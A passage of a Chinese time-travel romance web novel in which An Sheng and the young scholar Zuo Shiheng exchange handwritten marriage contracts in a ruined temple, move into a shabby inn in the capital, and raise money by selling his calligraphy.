见左时珩犹豫,安声直接躺下,缩起来,捂着小腹:“算了,我不过是来月事,受凉发疼又能怎样,忍忍也就罢了,又不是生病发烧这样要命的事。” 左时珩皱了皱眉,还是妥协了。 “……好吧,事急从权。” 对他来说,同床共枕是只有夫妻之间才能做的事,之前那般已算逾矩,但只以非常之时来论,譬如嫂溺叔援。 而此刻虽说二人也算心意相通,但毕竟无媒无聘,有些事他仍须守着底线,亦是为对方负责。 但他话音刚落,安声就连人带被一同滚入他怀里,环住他腰,紧贴他胸口,得逞地笑。 左时珩:“……” 安声:“我问了的,你答应了的。” 事已至此,左时珩也不知还能说什么,他从前认为自己有许多原则,但安声不断打破他的原则,还总能说出他无从反驳的道理来,他好像真的拿她一点办法没有。 “好,那睡吧。” 他叹了口气,抱着她躺下,身躯绷紧了,几乎半点不敢动。 安声将脑袋埋在他怀里:“疼得有点睡不着。” 左时珩温声问:“我能帮你做些什么么?” 安声说:“以前疼起来我会抱个热水袋,如今没有,只能用手捂一捂揉一揉小腹才能好些。” 她说罢,左时珩一时并无反应,她心里轻叹一声。 过了会儿,左时珩动了动,温热的手竟慢慢放到她小腹处轻轻摩挲,声音紧绷到发颤:“这样……吗?” 安声忍不住笑,爱意涨潮,抬头在他喉结上亲了下,他整个人都震了震,几乎僵硬了,手也停了下来,但她环抱的这具高大身躯体温却在迅速攀升,心跳咚咚的,急促有力。 大约是失态了。 左时珩深吸一口气,忽将她轻推开,起身往门外走:“抱歉……我有点热,出去走走透气。” 安声心领神会,用被子蒙住脸,笑得花枝乱颤。 月上中天,左时珩才回来,单薄的衣摆裹挟着一股潮湿的凉意。 他没直接坐过来,而是坐到对面烤了烤,才回到安声身边。 安声掀开被子,露出一双笑眼:“左时珩,我保证不乱动了,我们睡前说说话,说着说着就能睡着了,好吗?” 左时珩没想到她还没睡,被冷意降温的玉白的脸上,又晕上绯红,于是低应一声,板板正正地躺下。 安声果然没有再抱着他,只是面向他侧躺,脑袋抵在他手臂上。 不过她离得这样近,独属她的气息已然势如破竹地入侵着他的领地,让他溃不成军,只能紧守最后一点阵地。 安声曲起双腿,蜷缩躺着,她很喜欢这样的睡觉姿势。 过了会儿,左时珩翻了个身,朝她侧躺,伸手在她后背拍了拍:“是不是还在疼?” “好多了,还有一点点隐隐作疼。” 左时珩沉默着,主动将手伸过来帮她按揉,虽仍有些紧张,但比先前要从容不少。 许是安声说到做到,没有在他怀里乱动的原因。 “每个月都会这样疼一回吗?”他轻声问。 “每个女孩体质不同,有的人疼得厉害,有的人一点不疼,我只有受了凉才会这样疼,其余时候顶多在第一日轻微不适。” 他“嗯”了声,又问她若是疼起来,还有什么缓解的好法子。 安声说喝热水,或者喝红糖姜茶之类的,另就是让小肚子热起来,总之不能持续受凉,也不能剧烈运动。 左时珩想起还有半块姜。 安声拽住他:“不要!我不喜欢姜的味道,若没有糖来中和,实在又苦又辣,一口也喝不了。” 原来如此,怪不得她先前只说要喝热水,却没让他丢姜进去煮。 左时珩笑了笑:“嗯,我也不太喜欢姜味。” 安声闭着眼,嘟嘟囔囔:“……我们家,恐怕只有岁岁喜欢姜味了。” 左时珩问:“岁岁是谁?” 安声却没回答,他借隐约的光亮低头看去,见她气息悠长,已枕着自己手臂睡着了。 他轻轻抚摸了下她头发,心底愧疚。 若还要住在此地,怎能不受凉,连热水都是少之又少,姜与红糖更是无处去买。 马上进入腊月,离二月科考还有两个半月,中间要过个年。 他打听过京城的费用,若是月底进京或者过了年再去,虽说住宿时长缩短,但价格只怕要翻上几番,如今住宿价格虽也不菲,到底比往后略便宜些,选择也更多些。 他心算了番眼下全部的盘缠,若在外城赁一间民房,依价格高低,也足够两三个月,虽说条件十分简陋,但如何也比四面漏风的破庙好。 他手里还有两本书,是一位老师所赠,他在上头写了许多批注,若是当掉,值此科考前夕,大约能有好价,然后用这些钱给安声置办冬衣,被褥等,加上些女子需要的日常用品,应该足够。 他一人无所谓,但不能让安声跟着他在这间破庙里挨冻,也不能让她在这里过年。 饭吃不饱,澡不能洗,太委屈了她。 且若是生了病,连个大夫也请不到。 思量之后,左时珩已下定决心,阖眼睡去。 安声全不知他这些考量,昨夜是这些日子睡得最舒服的一觉,直到日晒三竿才起,太阳从破旧的窗户照进来,将被子晒得暖洋洋的。 她懒懒翻了个身,才揉眼坐起,左时珩不在庙里,但旁边放着已经烘干的棉衣与她那件蓝色长裙,裙摆破损处被简单缝了一下,再旁边还有一抔干净的草木灰。 她换好后推门而出,站在门前望去,广袤的地平尽头,云水山的轮廓清晰可见,越过云水山便是京城。 她有些好奇,不知她生活了大半年的京城,在十年前会有多少不同。 过了会儿,她看见左时珩的身影,便高兴朝他奔了过去,他拎着一桶干净的水,是从河里打的,另只手还提着只野兔。 左时珩见她过来,问:“今日还疼不疼?” 安声摇头,仰起脸闭眼晒了晒太阳:“今天好像很暖和哎。” 她接过左时珩手里的兔子抱在怀里。 “这个,是拿来吃的吗?” 灰色的兔子挣扎了下,又安静下来,在她怀里乖乖的。 左时珩问:“你喜欢兔子吗?” 安声抱着兔子往回走,犹豫了下,叹道:“喜欢,但我知道理论上应该吃它,毕竟我们要断粮了,不过总有些于心不忍。” 左时珩轻笑颔首:“那就不吃了,我们在庙中再待一日,明日就启程进城。” “明天进城?”安声眨了眨眼。 “嗯。”左时珩同她简单说了打算,两人已回到庙中,“不过还是会委屈了你。” “同你在一起,怎么会委屈呢。”安声笑起来,在门口将兔子放了,见它奔向旷野,消失无踪,才与左时珩道,“左时珩,我刻木雕去卖,然后养你啊。” 第45章 婚书 安声拿了老乞丐留下的木块和小刀,认真雕刻起形状来,小刀不锋利,她刻得费劲,要时不时在门口大青石上磨一磨,木块也并非很适合雕刻的软木,有些甚至尚未干透,纤维很粗,无法细致操作,也不知老乞丐平日怎么用这样的工具雕刻出那般栩栩如生的艺术品的。 对安声来说,她没这个技术,便只追求“意象”与“新奇”,先按照画的轮廓削出大致形状,再慢慢抠出表情,即便弄错了也无妨,她自有不同灵感,“化腐朽为神奇”。 譬如她未控制好力度,将一只小猫的眼刻宽了,似一条裂缝,她便又加了一条斜向的纹路,拿去给左时珩看。 他会问:“眼睛为何是这样?” 安声冲他眨了眨一只眼,笑道:“这叫wink,也可以理解为抛媚眼。” 左时珩接过看了看,还真意会出几分味道,形状虽粗糙,表情却传神。 他会心一笑:“若要拿去卖,只怕不便同人解释,免得遭人闲话。” “我就说是一只猫在卖萌,不会直白说的。” “卖萌?” “不带贬义的‘卖弄可爱’咯。” 安声从他手里拿回木雕,在他面前晃了晃,夹起嗓子:“左大人你好,我是一只可爱小猫,喵~” 左时珩神情顿住,耳廓微红,面对那双明亮期待的眼,他清了下嗓子:“你好,小猫……” “好了,不打扰左大人看书,小猫要回家了,白白。” 安声又坐回原地,继续细化手中木雕。 她忽然有个想法,一块木料刻个动物又麻烦又累,她的水平还不能短时间突飞猛进,不如放弃,只削一个圆圆的脑袋,然后刻上表情,各种各样的表情,这样一块木料省一省能劈成四块来用。 她是个有想法便会立即投入的人,当即就做起来,两耳不闻窗外事。 可她来去如风,左时珩却被扰了好一阵心神,才慢慢心湖平静,拂去小猫可爱的影子,重新专注文章。 老乞丐在天黑时回了破庙,依然带着他那些家当,将铺盖往地上一丢,拿出一整袋小米,几个玉米,一袋土豆,一小瓶油,一小袋盐。 安声赞叹:“师父,你去城里发财了啊!” 老乞丐摸了下糟乱的胡子,颇有些得意之色:“这就叫发财啊?不过是恰好碰到个喜欢木雕的行商,一下叫他全给我买走了,还多给了二两银子。” 又说:“我照你画的那几个丑东西,被他家小儿子看见了,说喜欢,愣是要,也算是托你的福了。你到师父这里拿点吃的走吧。” “所以我是个有福之人。”安声笑着过去,翻了翻,“师父,没肉啊?” 老乞丐一记栗子叩她头顶上:“过年了?就吃肉。” “哎呀——那我能煮饭吗?天天喝粥都腻了。” 老乞丐又扬手,被安声偏头躲过:“开玩笑的,您这一袋咱们三个人若是煮饭,也不够几顿。” 老乞丐哼哼两声,问起她这两日刻的木料,安声指了指,老乞丐一看过去,脸拉下来:“怎么又是些丑东西?” 他捞了几个火柴人似的表情小人在手,眉头紧皱,满脸嫌弃:“之前还能说是猫猫狗狗,这都什么?” “这是人啊。” “什么人?什么人长这样?你还是他?”他朝左时珩示意了下。 “师父,只可意会不可言传。”安声笑起来,从中挑了个无语的表情给他,“您看您现在的表情和这个一模一样。” 她又挑了两个,一手一个:“这个没什么表情的是左时珩,这个笑脸是我。” “哼,那倒是,嬉皮笑脸的,活了一辈子没见过你这样的姑娘。” “现在不就见到了。” 老乞丐一噎,将那表情小人一丢,闭眼:“你要去卖,别说是我教的,丢不起这个人。” 安声笑道:“看来师父您名声在外啊。” “去去去,把米煮上。”老乞丐一倒,“走累了,等徒弟孝敬我一口饭。” 吃饭时安声跟老乞丐说了他们的打算,老乞丐沉默一会儿,说:“内城就别想了,先找个客栈住个一两日,然后往外城或城西那一片找找民房,不过想住的好不一定,搞不好还不如我这破庙。” 左时珩道:“主要是城内购置物品比较方便。” 安声点头:“我都好几天没洗澡了,身上要长虱子了。” 她又问老乞丐愿不愿意跟他们一起,被断然拒绝。 他说自己在这里住的好好的,要想进城走去就是,没必要住在城里,城里人富贵,但不好相处,乞丐之间也会争地盘。 “我若要去讨饭或卖点木雕,也都在城西一带巷子里转转,咱们有缘就能碰上。” 安声给他磕了个头:“师父,学您一门手艺,却没能孝敬您,将来若发达了,一定接您去过好日子。” 老乞丐笑了声,摆手:“我要是爱过那样的日子,也不必无名无姓,无儿无女,四处为家了,你有心意就好,咱们师徒一场,我也没教你什么,顶多让你入个门罢了,现在分开也好,人这一生,牵挂越多,痛苦越多,像我这样的,才能活得久。” 他停了会儿,似在追忆,慢慢又开口:“小老儿今年有七十八了,算命的瞎子说,我能活到八十。” 安声怔了下,但见老乞丐虽形象邋遢,皱纹满面,却并未有老态龙钟之感,头上少见白发,亦是精神矍铄,身体康健。 既不像七十八的人,也不像只剩两年好活。 她眼眶一红:“师父……” “别想太多。”老乞丐道,“拥有和失去都是每个人注定要面对的,寿数天定,哪有什么天长地久,如果你现在就惦记着以后的事,那就等于提前失去现在拥有的,到了以后,注定失去的还是会失去,那不就亏大了。” 老乞丐这番话忽将安声从太永末年重逢左时珩的兴奋中,扯入进那片不得不面对的未来的黑暗。 她缓抬眼,望向左时珩,一滴泪倏然落下。 自踏入这里,见到十九岁的左时珩的第一眼,她便心知,不是什么平行时空,而是逆向时空,遇见左时珩的,从来只有她一人。 只是他们一次又一次,拥有彼此,再失去彼此,仿佛无解的诅咒。 如果相遇与离别注定是人生的课题,那她在这个课题上,是个无法及格的差生。 这一夜安声的心情显然低落许多,她早早躺下睡去。 左时珩自然察觉到了,但他无法窥知安声心中所想,以为她是为同老乞丐分别而不舍。 可他犹记得那时她望向自己的那一眼,眼中缱绻着哀伤与留恋,那滴滑落的泪仿佛落在他的心湖上,波澜不息。 他说不上来为何会有那般感觉,但望着安声的睡颜,却觉心疼难抑,整夜无眠。 翌日一早,红日初升,又是极好晴日。 安声醒时,见左时珩早已醒了,在一旁跪坐俯身,提笔写着什么。 灿灿阳光透了窗棂而入,笼罩于周身,他身材修长,坐姿端正,眉眼清隽,神态认真,如石上青竹。 “左时珩?”她睡眼惺忪地坐起来,唤了他一声。 左时珩转头笑了笑,朝她伸出手来。 安声自然握住,被他往自己身旁带了带,看清他落笔。 他不知从哪裁了块有些褪色的方正红绸,写作婚书—— 谨遵坤命,选择良辰。 两姓联姻,一堂缔约。 良缘永结,匹配同称。 看此日:桃花灼灼,宜室宜家; 卜他年:瓜瓞绵绵,尔昌尔炽。 谨以白头之约,书向鸿笺; 好将红叶之盟,载明鸳谱。 然后在“乾造”二字下方,恭敬写了自己姓名籍贯,生辰八字以及父母名讳。 再往下便是“坤造”二字,他只写了安声名姓与生辰,却不知她籍贯,父母。 “这是聘书,不过眼下我家徒四壁,全部财物只有十两多银子,几件旧衣,一套文具,权且暂作聘礼,但左时珩在此向你立誓,贫贱相守,富贵同衾,金石之契,永无转移,若违此誓,天诛地灭。” 安声有些发懵,不知这一夜左时珩想了什么,一觉起来竟将这样一个大惊喜忽然捧到她面前。 他定定望着她,目光极为真诚温柔,在等她回应。 安声跌入那片比春日阳光还温暖的眸中,眼尾泛起淡淡的红。 但她先是低头笑了笑,想起安和九年时,她向左时珩告白的那个夜晚,没想到回到十年前,竟在这个清晨等到了左时珩的求婚。 她眉眼弯弯,略有些好奇:“左时珩,你为何忽然写下婚书?” 左时珩郑重其事,向她坦诚:“进城后我们同居一室,若无名无分,只怕为你招来非议,且我少时父母故去,如今老先生在堂,他作你师父,便也是我的长辈,请他为你我媒证,正合时宜。” “原来如此。” “安声姑娘……”左时珩眸底难得泛起焦急,“你,你可愿意同我成为夫妻?” 安声笑道:“你还叫我安声姑娘,我就不愿意。” 老乞丐不知何时也起来了,插了句话:“就是,要跟人家成亲,还一口一个‘姑娘’,没见过这样的。” “是我错了。”左时珩似有些紧张,耳廓通红,搁下笔,起身朝她深揖一礼,万分郑重,“安声,你可愿嫁左时珩为妻?此生卿为沧海,我作磐石,沧海不竭,磐石不移。” 安声杏眼明眸,笑意盈盈。 左时珩还从未这般与她说过情话呢,倒先自己害羞上了,在她视线灼烧下,实在脸红不已,神情紧绷。 真是好青涩好可爱啊。 “当然啦,左时珩。”她笑道,“从我们遇见的第一面,我就告诉你了。” “我好喜欢好喜欢你,好爱好爱你,我会对你很好很好,我们在一起会很幸福很幸福。” 她坐过去,提笔在聘书上写了父母姓名与籍贯,拎起来朝墨吹了吹,递给左时珩,又拿了旁边另一块红绸来,问他允婚书怎么写。 没料到安声答应得这般果断,还与他回了番情话,左时珩正心如擂鼓,热血奔涌,被骤然的幸福砸得懵懵的,灵台不甚清明,答话也有些飘飘然起来。 安声提笔写下:奉坤命而择配,应乾造以成婚。冰语传讯,雅谊频通。敬承月老之章,谨遵台命之重。既蒙金诺,永缔良缘。谨具回书,用申允意。 同样是写下自己的名姓籍贯,生辰八字,父母名讳,顺势照聘书将左时珩那份也一并写了。 然后将两份婚书双手奉到老乞丐面前:“师父,我与左时珩父母皆不在堂,请您作为长辈,替我们做媒证。” 左时珩也捧了笔,默默同安声并肩跪在一处。 老乞丐忙拍了拍衣上的灰,正经端坐起来。 “小老儿无名无姓,也不识字,写什么呢?” “师父,您无儿无女,不如随我姓吧,写一个安字。” “倒反天罡,天下竟有师父跟徒儿姓的。”老乞丐絮叨着,却已从左时珩手中拿起笔,一双枯枝似的粗糙的手,整个握住笔身颤抖不已,哆哆嗦嗦地画了两个“安”字。 写罢将笔一丢,道:“这墨熏眼,我出去透口气。”便见他用袖子掩住眼眶,出门去了。 安声心头发热,心下感动,转头去看左时珩。 他正万分珍重地折了那两块红绸,放入胸口衣襟,抬眼触及安声的目光时,左时珩先是笑了下,忽而就眼尾一红,再忍不住,落下泪来,遂情不自禁将安声揽入怀中,抵在她发间哽咽,已说不出话—— 作者有话说:左时珩:她不记得我了,我要徐徐图之,保持尊重与边界,等她爱上我(隐忍克制) 安声:对不起,做不到(强制爱)(十天拿下)[狗头叼玫瑰] 明天加更[饭饭] 第46章 入城 为了赶路,安声与左时珩很快收拾了行李,与老乞丐再次道别后,往京城去。 出了庙门,安声问起那两纸婚书的红绸是哪来的,左时珩笑了下,说菩萨身上的。 安声讶异:“还好没让我师父知道,他终日在此庙中,一直觉得是蒙菩萨收留,若知道你把菩萨的衣裳扯了,那你要完蛋了。” “我知道。”左时珩一本正经,“所以在庙中请他做媒证时,我很是紧张他认出来,还好这会儿他即便认出来我人也跑远了。” 安声被这话逗笑个不停。 又问他:“你不怕菩萨怪罪?” 他摇头:“天下哪有菩萨,求神便是求己。” 安声忽想起安和九年时,她独自回天外山来客寺那次,惠能师父说,左时珩曾于佛前苦苦哀求,愿供奉此身一切,得一个解答。 那时,从不信鬼神的他,在想什么呢? 她不禁脚步一顿,转身将他抱住。 左时珩问:“怎么了?” 安声只抱着他不语。 他揉揉她的发,温声:“是累了吗?前面便是云水山,进山前,我们先在山下歇会儿。” 安声点头,被他紧牵着手往前走。 山外的雪早已化了,可山巅仍然白雪皑皑,山中寒冷,才靠近山脚,便有冬日凌寒隐隐袭人。 左时珩扫去一方青石上的枯叶,两人相挨坐下,此处能照到些太阳,倒也不算冷。 安声靠在他肩上,仰头望向云水山,半山腰白雾笼罩,如玉带环绕,山中草木半青半黄,半生半枯,偶闻鸟鸣,少有人迹。 自安和九年三月在山中遇左时珩起,一路行来,时光既短又长。 相爱相守不到一年,何其短暂,生离死别,思念成灰,又何其漫长。 短短一年,她仿佛已涉过半生,如今回至十年前,云水山似乎并无变化,山依然是山,巍峨不动。 对于山来说,千万年也不过如此,人的到访,或许不如一只鸟的停留。 它没有神迹,它只是存在这里。 存在本身就是神迹。 “在想什么?”左时珩轻声问。 安声收回目光,往他怀中更靠近了些。 “在想,在山的眼里,人的一生那般短暂,是不是微不足道。” 左时珩静默片刻,蓦然轻轻抖落衣袍上的一只蚂蚁,同她笑道:“在人的眼里,蚂蚁的一生也十分短暂,但对蚂蚁来说,绝不是微不足道,只是人与蚂蚁无法同喜同悲,山与人也是,才看似没了意义。但无论山、人,还是蚂蚁,不过是在走完自己的一生,如此而已。” 走完自己的一生……可左时珩的一生太过短暂,不该停留在安和九年的那场大雪中。 安声倚着他胸口,听着此刻他胸腔里那颗健康而旺盛的心脏有力跳动,方才那份失落渐渐消散。 至少现在一切又重来了。 对她而言,与左时珩在一起,一日长如百年,百年短如一日,她太贪心,一生一世也不够,还希冀着生生世世。 岂能只有五年。 — 穿过云水山,果真能望见京城轮廓,这座古老的城池像只远古巨兽,不知多少年前就蛰伏在大地之上,静静凝望着四方。 他们耽误了些时间,路上走得也并不快,进城时天色已暮,又买了些东西,只得匆匆去找客栈。 先是问了两家均说已住满了,第三家倒说有空房,只是价格超出预算,左时珩尚在考虑,安声已一口回绝。 临走前,老板又叫住他们,说有一间尾房,窗和门都有些问题,还未来得及修缮,若是他们愿意,只用付正常房费的半价即可。 左时珩客气询道:“可否带我们先去看房?” 老板答应:“自然可以。”便唤了一提着热水的小厮带他们去。 小厮扫了眼两人,便知是穷人,有些不情不愿,但也没法,只得暂放了手中活计领他们去了。 房间在一楼最后一间,紧邻柴房,小厮掏出钥匙开了锁,推门,扑面一股灰尘,加上天色,一下什么也瞧不见。 左时珩将安声揽在身后,扇了扇空气,待小厮点起烛火,不禁眉头微蹙。 “这不像是住房,而是杂物间。” 房中一张旧桌,两把旧椅,一张旧床,角落挂了块褪色的蓝布充当帘子,后面是个浴桶。 小厮笑了声:“哟呵,眼力不错啊,这之前确实是杂物间,不过正逢考市,京城人多,住房紧张,便临时改了,只不过还未来得及彻底打扫修缮,否则这样的价格也轮不到你们啊。” 又将二人从头到尾打量了遍,心知从这样的人身上必是要不到小费了,便愈发不耐烦,催问:“怎么样?住不住?不住也就没有了。” 赶了一日路,左时珩知安声必然疲累,想让她早些休息,便颔首:“住的,我同老板去说。” 他将行李放下,让安声在房间里休息等他,同小厮一道离去。 过了会儿,他回来道:“不到半价,四十文便可,我们暂住于此,明日我便去找长居民房。” “好厉害啊左时珩,还会讨价还价呢。”安声笑起来,打了个哈欠。 看来日后与户部就工程拨款问题能唇枪舌战的左大人,早练就了基本功嘛。 左时珩笑了下,又有些不好意思,泛黄烛光下,耳廓微微染上红晕。 “待会儿他们会送热水过来,你去洗个澡,隔壁是杂物间,正好方便我取了扫具来用,将房里打扫一番。” “我帮你。” “不用,你略坐一坐。” 他出门去到隔壁。 原先这间是杂物间,如今改做住房,杂物自然放到了隔壁柴房,很快取了抹布与笤帚回来,借着烛光,左时珩先将浴桶里外擦拭干净,等热水送到门口,他将水放好,试了试水温,然后放下帘子。 “好了,安声……你去洗澡吧。”他看她一眼便又红着脸挪开视线,“我,我将床铺整理整理。” 安声歪着头笑望他,他一再躲避她的视线,耳朵已红得不行,受不住便直接推了安声的肩去到帘子那边。 “……累一日了,也该早些洗了休息。” 安声笑了声,脱去棉衣,掀了帘子进去,烛光朦胧,水声不断,窈窕侧影映在帘上,左时珩望着,目光定格一瞬,不知是影在晃动,还是心在晃动。 他只好立即移开视线,叫自己忙碌起来,不敢分心。 安声泡在热气氤氲的木桶中,舒适到每个毛孔都舒张开,不由轻轻吁了口气,从来还没有这么久没洗过澡。 她泡了一会儿,怕水冷得太快,便上上下下里里外外把自己狠狠搓了一遍方才罢休。 待她洗好,才想起没拿换的衣裳过来,刚要唤左时珩,便见帘外伸进一只骨节分明的手,拿着她进城后临时买的里衣小衣等。 安声不去拿衣裳,倒是先攀上左时珩修长手指,在他指尖轻轻摩挲。 他缩了一缩:“……安声,快穿好,免得着凉。” “好啦。” 她应声,换好衣服,用棉布拢起潮湿的发出来。 左时珩立将棉衣裹在她身上,拉她坐到床上。 他已将房内打扫了一遍,床铺也已收拾好,客栈的被褥有些霉味,他将其垫在下面,厚厚的,比起破庙地上薄薄一层毯子,不知软了多少。 安声面向里盘腿坐在床上,左时珩替她细细将头发擦干。 他还是第一次替女孩擦头发,那些柔软的湿润的清香的发丝从指尖根根滑过时,仿佛有一双手在轻缓拨弄他的心弦。 过了会儿,他说:“头发还未干透,先坐一会儿再睡,我去洗澡。” “好。”安声点头,声音里已有困意。 待他沐浴完出来,安声已抱着枕头趴在床上睡着了。 他先过去给她盖了被子,将她压在身下的发散开,然后去将洗澡水倒了,回来时,他查看了下住房的门,的确是坏了,能合上,但锁不上,便又去杂物间寻了个木楔在下方卡住,确保从外无法轻易推开才放心。 那扇窗户也有差不多的问题,皆是合页老化,门框变形导致的,只得明日再想办法。 做完这些,他才回到床边,脱去外衣,慢慢地上了床,倚在床头,又替她的发散了散潮气。 他记得她说过,月事期间不能受凉,否则便会发疼,包括洗头洗澡也须注意,只是这里条件简陋,一面帘子圈不住热气,实在委屈了她。 “左时珩。” 安声迷迷糊糊地喊。 他忙低声应:“嗯,我吵醒你了吗?” 安声哼唧两声,丢开枕头,爬起来蜷到他怀里,又安心睡着了。 左时珩愣了愣,又不禁笑。 喜欢往人怀里钻,还真像小猫。 他犹豫片刻,到底没忍住,低头悄悄在她头顶落下一吻。 …… 前一日太累,安声足足睡到临近中午才起,左时珩已向店家借了工具,将门窗都修好了,还因此减免了一日房费。 客栈只有早上才提供清粥小菜,安声已错过了,本也不觉得很饿,但左时珩回来时,提了两碗馄饨,两张烧饼,她一闻便馋虫大动,忙穿了鞋下床。 左时珩笑了下,让她先吃,自己去叠了被子才坐过来。 安声喝了一口馄饨汤,感叹:“果然还是睡正经的床舒服,昨天就算没有烤火也很暖和,而且洗了澡香香软软的,头发也很顺滑。” 她戳一戳左时珩手背:“是不是?” 左时珩低笑:“嗯,除了乱动外,睡得还算安静。” “我乱动了?”安声道,“那一定是你没抱我。” 这话说得左时珩顿了顿,耳朵又发红了。 昨夜安声睡觉的确不太老实,抱着他时还好,钻在他怀里不会乱动,可若是翻个身向里,必要将被子踢走,连枕头都不能幸免,一会儿被她抱住,一会儿又被她丢开。 他不得不每次及时将被子拽回来,给两人重新盖好。 于他而言,虽说二人写了婚书,但那毕竟只是权宜之计,没有三媒六娉,他对她始终亏欠,无法将自己真正配作她夫君,因此,那些夫妻之间可行之事,他无法心安理得地去做。 一是他并无经验,不知要如何对待妻子,只能在生活上尽力照顾。 二是他与安声只有婚书,未过明路,若将来她后悔,私下撕毁即可,还能另择他人。 他转移了话题,说上午他去外城看了看,但未找到合适的民宅,打算下午再去,问她是否要同行,顺便添置些紧要的东西。 安声问:“你不看书吗?” 他说:“书已当了。” “当了?那还能赎回来吗?” “无妨,我早已烂熟于心。” 安声皱眉,快速将早午餐吃完,去整理了自己的木雕:“左时珩,我说了养你,是认真的,你下午去看房吧,我去卖东西。” 左时珩笑笑:“还是一起吧,买卖之事不急,但住处总要你也入眼才是。” “也对。”她又收起来。 左时珩忽想起什么,走过来将包袱拿出来,从其中挑出安声之前说送他的那对小猫小狗,摆在窗台上。 “这两只不卖。”- 下午安声同左时珩一道去外城各民宅坊巷看了,问了好些,留心了几个,但因为总有些这个问题那个问题,便没定下来,想着明日再看。 期间他们倒买了些别的,主要是安声的东西,譬如几件冬衣,几套鞋袜等,原还有一支木钗,让安声退了,她悄悄挠了挠左时珩的手心,笑说眼下树枝就可以,至于将来,那就等左大人飞黄腾达,让她穿金戴银了。 左时珩当下并未应声,只默默牵紧了她的手。 准备回去时,路过了家书画铺子,左时珩一进去,正在柜台后打盹的小厮抬头看了眼,又低下头:“想看什么都可以看看,名家画作,童叟无欺。” 安声敲敲桌面:“什么叫名家?” 小厮不悦,抬头见是个漂亮女子,又忍住火气解释。 “名家名家,自然是有名的大家,但凡我这里挂的字画,有一幅算一幅,落款皆有名有姓。” “我看许多字也就不过如此,哪个大家敢如此丢人?现下并无其他客人,你不若直说,这里九成以上都是拙劣赝品,是骗人的。” “哎,你……” 左时珩站到安声面前,对那小厮道:“正逢考市,京中举人遍地,你这些书画,我猜有许多仿品来自某些考生,对吗?” 虽说考试在即,多数考生以温习功课,结交同期,拜谒名流为主,但也有些家境贫寒的考生,因无人引荐住进同乡会馆,又负担不起食宿等开销,便会找些事来补贴己用。 譬如代写文书等。 而买卖字画也是一条途径,但因有失身份,会遭人轻视,故而通常不会有考生选择这么做,顶多委托书肆等代售,被称为“末流”,至于替店家画赝品书画出售等,更是为人不耻、唾弃之行为。 小厮一听左时珩这般直言点破,很想发火,又见他身材高大挺拔,眉眼清冷,有股不怒自威感,一时消了声,弱了势。 “话不要乱讲……读书人的事,怎么能说骗……” 恰好老板从后方打了帘子出来:“怎么?有闹事的?” 小厮立即告状,添油加醋说了一通。 老板是一位四十出头的中年人,见状看向左时珩与安声的眼神愈加不善:“二位是什么意思呢?我开门做生意,又不强买强卖,懂行的人一看就知买不买,也骗不到您二位头上啊。” 安声抢先开口,笑道:“老板您误会了,您开门做生意,我们就来做生意的,您这要仿品字画,我也可以。” “你?”老板一愣,眼神满是怀疑,“你一个姑娘?” 他看向左时珩。 安声伸手挡住:“他不行,他的字已堪比大家,字字千金。” 老板不由讥笑了声:“年轻就是好,口出狂言也不打草稿。” “若是他写了字,您能代为出售,我就让您开开眼,否则您就只能看我的字,画我不擅长,但仿字手到擒来。” 安声大言不惭,其实也有些心虚,但鉴于面试经验,说这些话自然要底气十足,才能让人信服,能不能过是一回事,争取到机会是另一回事。 老板还真被挑起了气性,当即邀二人去后堂。 左时珩原是进来随意看看的,顺便想购置些纸笔,如何也未料及事情竟如此峰回路转,正有些发怔,但见安声悄悄朝他眨眼,便也莞尔一笑,点了点头。 后堂专门有个屋子,里面好几个架子,摆满各种笔墨纸砚,墙上挂着好些字画,桌下一口大缸,里面也塞得满满当当的。 老板随意从中抽了个卷轴展开:“到我这里赚钱的考生也不乏写一手好字的,其中高中做官的也有,只是不能以真名售卖而已。” 又道:“我那墙上的看见了吗?好些的的确确是真品。”他指向其中一幅,说这是当朝户部右侍郎申大人的字,又指向另一幅,说那是成国公府魏二爷的画。 安声不由弯唇,全是熟悉的名字。 老板见二人依旧从容淡定,便在桌上摊开宣纸:“别说得好听,先写两个字我看看。” 安声不怯于此,提笔就写了一首五言绝句。 老板一见她笔划藏锋,清丽潇洒,的确写得不错,便无话可说了,还捧了她一句。 “看来,也是读过书的才女。” 安声便也谦虚了一句:“不敢不敢,也就略读了十六年书。” 老板:“……”还真谦虚。 他在二人间来回看了眼,有些好奇二人身份关系,但比起其他,他现在对左时珩的字更有兴趣。 于是当场保证,说若是左时珩的字果真堪比大家,那他一定想办法给他卖出去。 “君子一言,驷马难追。”安声立刻递了笔给左时珩,“夫君你随意发挥,不必有压力。” 左时珩还真有些压力,不过售卖字画虽说是末流,他倒不以为耻,只是安声将他说得太好,他怕让她失望。 不过事已至此,他只得执笔立于案前,调整了番气息,悬腕挥毫,写成一幅四字行书——安居乐业。 老板双眼灼灼,当即大赞:“好!果然好字!虽说尚有几分青涩,但笔力千钧,骨气洞达,又不失轻盈矫健,确实堪比大家风范!” 他捧起来吹干了墨,反复看了几眼,实在喜欢,笑道:“这幅字我不代售,我自己买下,请二位开价。” …… 当左时珩拿着四十两银子走出书画铺子时,仍有些不敢置信,如置梦中。 安声在他面前挥了挥手,笑道:“左大人?” 左时珩回过神,眸子发亮,握住安声的手揉了揉,笑道:“我们去买一支玉簪如何?” “这么快就想花啊?” 左时珩将银子交予她手,认真道:“本就是你的,给你花我自是百般愿意。” “既是我的,那我不花,我花容月貌,清水芙蓉,何必要一支玉簪装饰。”安声双手拎着沉甸甸的银袋子,笑得开心,“我宁可抱着它睡觉。” “那可不行。” “为何?” 左时珩正欲解释银钱经万人手,不干不净,不便放在被褥下,安声自己已得了答案。 “也对,抱了它,就没手抱你了,和左时珩比起来,天下万物皆可抛。”安声牵住他手,大步流星,“走,我带你去吃好的!” 金乌将落,天边霞光万道。 左时珩垂眸望着她背影,目光温柔至极。 他想,他不可能将她拱手让与任何人了。 他会高中,会做官,会有大宅子,会金银万贯,会给她最好的生活。 第47章 风波 今日是安声回到丘朝以来,第一次吃肉,简直感动落泪。 不过年底这京城物价还是太高了,也不能奢侈消费,毕竟还有一个年要过,两人饱餐一顿便回了客栈。 回去时,客栈里正有别人来问住宿,老板面露难色说实在没便宜的房了,只有中等一间,上等两间。 正巧上次那领路小厮路过,闻言嗤笑:“哎,学他们啊,他们住的杂物间旁边还有间柴房,收拾收拾也能凑合,还便宜呢。” 安声毫不示弱地瞪了过去。 老板忙打圆场,说了小厮几句,小厮不服气,嘀咕说本来就是,没钱进京作甚么,尽占人便宜。 声音不大,却是清晰,大堂亮着灯,还有七八位客人在吃饭喝茶,闻言都往这边瞧热闹。 老板讪笑两声,道了声歉。 